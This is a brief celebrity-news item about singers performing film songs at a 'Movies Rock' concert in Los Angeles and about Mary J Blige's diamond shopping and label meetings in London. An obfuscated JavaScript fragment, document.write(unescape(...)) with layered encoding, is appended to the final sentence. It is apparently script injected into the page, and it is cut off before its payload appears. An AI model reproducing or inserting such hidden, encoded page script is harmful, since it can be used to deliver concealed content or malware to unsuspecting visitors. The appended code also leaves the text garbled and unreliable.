Mary J Blige will be singing 'As Time Goes By' from the film 'Casablanca' with soul singer John Legend at the first 'Movies Rock' concert.
Beyoncé will also feature at the event - which celebrates the relationship between film and music - and will perform 'Somewhere Over The Rainbow' from 'The Wizard of Oz'.
Oscar-winning actress Jennifer Hudson will sing 'Goldfinger', from the James Bond film of the same title, at the concert which takes place on December 2 in Los Angeles.
Mary also visited an exclusive diamond shop during a whirlwind trip to London.
The R'n'B diva flew into the UK capital to meet with Polydor record bosses to discuss her upcoming single and album releases when she made a quick pit-stop to look for rocks.
A shop insider said: "She looked like a kid in a toy shop when she first came in. She really took a shine to some platinum and diamond hoop earrings."
Mary then returned to her penthouse hotel suite in London's exclusive Knightsbridge district where she freshened up before visiting a studio in Chiswick to play Polydor bosses tracks from her new album, 'Growing Pains'.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;